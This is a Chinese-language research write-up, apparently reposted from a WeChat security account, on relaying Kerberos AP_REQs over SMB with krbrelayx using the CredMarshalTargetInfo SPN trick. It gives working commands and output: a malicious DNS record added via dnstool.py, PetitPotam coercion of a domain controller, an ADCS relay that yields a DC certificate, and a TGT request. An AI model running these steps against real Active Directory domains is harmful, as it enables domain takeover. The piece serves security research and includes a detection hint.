Relaying Kerberos over SMB using krbrelayx
Kerberos 中继在理论上很简单直接。其目标是将客户端为一个服务发起的AP_REQ
消息中继到另一个服务。但是有一个关键的前提条件:目标服务和客户端不能强制执行加密或签名,因为我们没有执行这些操作所需的密钥 (会话密钥),这与 NTLM 中继攻击类似。
还有一个额外的挑战:一个AP_REQ
消息不能被中继到与客户端最初请求的服务不同身份下运行的其他服务。因此,为了使攻击成功,我们需要强制客户端为目标服务生成一个AP_REQ
并将其发送给我们。以下是我们想要实现的目标的可视化表示:
2021 年,James Forshaw 发表了一篇长博文,解释了如何使用各种协议实现这一点。然后在 2022 年,Dirk-jan Mollema 发表了另一篇博文,详细说明了如何使用 DNS 来完成这项工作。如果你想了解更多关于这个主题的信息,我们强烈建议你阅读这两篇文章。
Dirk-jan 演示了使用他的工具mitm6
/Krbrelayx
和 SOA DNS 消息,可以毒化客户端并强制其为任意服务发送AP_REQ
消息,然后可以进行中继。一个有趣的符合所有要求的服务是 ADCS HTTP 端点,由于默认情况下不强制使用 HTTP 签名,因此容易受到中继攻击。
虽然这种攻击是有效的,但它仍然需要能够使用 DHCPv6 消息毒化客户端,通过将自己宣传为 DNS 服务器来建立中间人位置。因此,无法毒化任意客户端。
最近,我们看到了@decoder_it的这条推文:
他还发布了一个名为KrbRelay-SMBServer的工具,可以使用 James Forshaw 提到的CredMarshalTargetInfo
技巧通过 SMB 中继 Kerberos。我们很好奇想了解更多关于这个技巧的信息,并确定是否可以将这个技巧与Krbrelayx
一起使用。事实证明这确实是可能的。
CredMarshalTargetInfo
在他的博文中,James Forshaw 展示了当 SMB 客户端从服务类和名称构建 SPN 时,会调用SecMakeSPNEx2方法。对于主机名fileserver
和服务类cifs
,返回的 SPN 将如下所示:
cifs/fileserver1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAfileserversBAAAA
SecMakeSPNEx2
函数会调用 API 函数CredMarshalTargetInfo
。这个 API 接收一个CREDENTIAL_TARGET_INFORMATION
结构中的目标信息列表,使用 Base64 编码对其进行封送,并将其附加到真实 SPN 的末尾。
他还展示了,如果我们注册 DNS 记录fileserver1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAfileserversBAAAA
,客户端会请求cifs/fileserver
的 Kerberos 票据,但会连接到fileserver1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAfileserversBAAAA
。
在底层,客户端会调用CredUnmarshalTargetInfo
来解析已封送的目标信息。然而,客户端并不考虑解封送的结果。相反,它只是确定封送数据的长度,并从目标 SPN 字符串的末尾删除该部分。因此,当 Kerberos 包接收到目标名称时,它已经被还原为原始 SPN。
在最初阅读博客文章时这一点并不清楚,所以我们决定使用 Frida 并设置一些钩子来更好地理解发生了什么。
在我们的实验室中,有一个域控制器 (DC03
) 和一个 ADCS 服务器 (PKI4
)。我们在CredUnmarshalTargetInfo
和CredMarshalTargetInfo
上设置了钩子,当强制 ADCS 服务器向DC03
进行身份验证时,我们得到了以下结果:
PS > frida lsass.exe -l lsass.js
[+] found CredMarshalTargetInfo: 0x7ff93274a4b0
[+] found CredUnmarshalTargetInfo: 0x7ff932749d30
[+] CredUnmarshalTargetInfo called
[+] buffer content (UTF-16): cifs/dc03
[+] CredUnmarshalTargetInfo returned with NTSTATUS: 0xc000000d
[+] Unmarshaled CREDENTIAL_TARGET_INFORMATIONW: NULL
[+] Actual size returned: 1
首先调用了CredUnmarshalTargetInfo
。提供的封送缓冲区仅包含服务名称和类cifs/dc03
,因此没有任何内容需要解封送,CREDENTIAL_TARGET_INFORMATIONW
的返回值为空。
然后,调用了CredMarshalTargetInfo
:
[+] CredMarshalTargetInfo called
[+] InTargetInfo: {
"targetName": "dc03",
"netbiosServerName": null,
"dnsServerName": null,
"netbiosDomainName": null,
"dnsDomainName": null,
"dnsTreeName": null,
"packageName": "Kerberos",
"flags": 1
}
[+] CredMarshalTargetInfo returned with NTSTATUS: 0x0
[+] Marshaled Buffer Content: 1UWhRGAAAAAAAAAAIAAAAAAAAAAAAAAAQAAAAAdc03KerberoswBAAAA
这是正常的行为。然而,当强制机器访问 DNS 记录dc031UWhRGAAAAAAAAAAIAAAAAAAAAAAAAAAQAAAAAtestKerberoswBAAAA
时,我们调用了CredUnmarshalTargetInfo
,但这次输入缓冲区包含了一个有效的封送结构:
[+] CredUnmarshalTargetInfo called
[+] buffer content (UTF-16): cifs/dc031UWhRGAAAAAAAAAAIAAAAAAAAAAAAAAAQAAAAAtestKerberoswBAAAA
[+] CredUnmarshalTargetInfo returned with NTSTATUS: 0x0
[+] Unmarshaled CREDENTIAL_TARGET_INFORMATIONW: {
"targetName": "test",
"netbiosServerName": null,
"dnsServerName": null,
"netbiosDomainName": null,
"dnsDomainName": null,
"dnsTreeName": null,
"packageName": "Kerberos",
"flags": 1
}
因此,该函数返回了一个有效的CREDENTIAL_TARGET_INFORMATIONW
结构体,并使用相同的结构体调用了CredMarshalTargetInfo
:
[+] CredMarshalTargetInfo called
[+] InTargetInfo: {
"targetName": "test",
"netbiosServerName": null,
"dnsServerName": null,
"netbiosDomainName": null,
"dnsDomainName": null,
"dnsTreeName": null,
"packageName": "Kerberos",
"flags": 1
}
[+] CredMarshalTargetInfo returned with NTSTATUS: 0x0
[+] Marshaled Buffer Content: 1UWhRGAAAAAAAAAAIAAAAAAAAAAAAAAAQAAAAAtestKerberoswBAAAA
这意味着如果 SPN 已经包含一个已封送的CREDENTIAL_TARGET_INFORMATIONW
结构,它将被解封送并在后续调用中使用。否则,将创建这个结构。
正如原文所述:
DNS 中单个名称的大小限制为 63 个字符。最小有效的封送缓冲区长度为 44 个字符,这样 SPN 部分只剩下 19 个字符。这至少比 NetBIOS 名称 15 个字符的最小限制要大,所以只要注册了这个较短名称的 SPN 就应该足够了。但是,如果没有注册短 SPN 名称,那么利用起来就会更加困难。
为了在 DNS 记录中获得一些空间,我们可以构建最短的封送字符串。这可以通过使用 frida 分配一个空的CREDENTIAL_TARGET_INFORMATIONW
来实现:
PS > frida lsass.exe -l cred.js
[+] Calling CredMarshalTargetInfo
[+] NTSTATUS Result: 0
[+] Buffer: 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA
Krbrelayx
在看到 @decoder-it 的推文后,我们想知道是否可以使用 krbrelayx 来执行这个攻击。虽然这个工具最初并不是为中继 Kerberos 认证而设计的,但是 Dirk-jan 在 2022 年添加了这个功能。该功能最初是通过 DNS 实现的,但是已经有一个支持所有非约束委派攻击的 Kerberos 的 SMB 服务器存在。
首先,我们需要注册恶意记录(如前所述),并将其指向我们的攻击者机器(172.16.1.146):
$ dnstool.py -u "INDUS.LOCAL\user" -p "pass" -r "pki41UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" -d "172.16.1.146" --action add "172.16.1.3" --tcp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
现在,我们可以使用任何强制认证技术来迫使域控制器向我们进行身份验证:
petitpotam.py -u 'user' -p 'pass' -d INDUS.LOCAL 'pki41UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' dc03.indus.local
通过查看 Wireshark,我们可以观察到以下内容:
恶意 SMB 服务器接收到 AP_REQ
消息,这表明所需的功能已经集成到工具中。Dirk-jan 在 krbrelayx
上做了令人印象深刻的工作,使我们能够轻松地将 DNS Kerberos 服务器的几行代码整合到 SMB 服务器中。由于 AP_REQ
提取部分已经实现,从 AP_REQ
派生的认证数据随后被传递给 ntlmrelayx
支持的各种攻击。对于 HTTP 来说,这个过程很简单,AP_REQ 被 Base64 编码并包含在 Authorization: Kerberos base64_AP_REQ
头部中。
以下是结果:
$ krbrelayx.py -t 'http://pki4.indus.local/certsrv/certfnsh.asp' --adcs --template DomainController -v 'DC03$'
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Running in attack mode to single host
[*] Running in kerberos relay mode because no credentials were specified.
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up DNS Server
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 172.16.1.3
[*] HTTP server returned status code 200, treating as a successful login
[*] SMBD: Received connection from 172.16.1.3
[*] HTTP server returned status code 200, treating as a successful login
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE! ID 32
[*] Writing PKCS#12 certificate to ./DC03$.pfx
[*] Certificate successfully written to file
[*] Skipping user DC03$ since attack was already performed
然后可以使用生成的 PFX 证书来请求域控制器的 TGT:
$ gettgtpkinit.py -cert-pfx 'DC03$.pfx' 'INDUS.LOCAL/DC03$' DC03.ccache
INFO:Loading certificate and key from file
INFO:Requesting TGT
INFO:AS-REP encryption key (you might need this later):
INFO:5aed9cb3f2f7af161efe2d43119e87a2dade54bed6bd4602d82051ecbac549a1
INFO:Saved TGT to file
结论
尽管在 Active Directory 域中经常可以进行 NTLM 中继,但某些服务器可能会拒绝 NTLM 身份验证。在研究这个问题后不久,我们的一位专家遇到了一个场景,其中来自 ADCS 的 IIS HTTP 服务器仅允许 Kerberos 身份验证。因此,这种技术被用来入侵域。
关于缓解措施,由于包含了静态魔术值,定期监控所有包含序列化字符串的 DNS 记录可能会非常有效。
最后,你可以在 krbrelayx 上找到这个拉取请求。
原文始发于微信公众号(securitainment):使用 krbrelayx 通过 SMB 中继 Kerberos
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论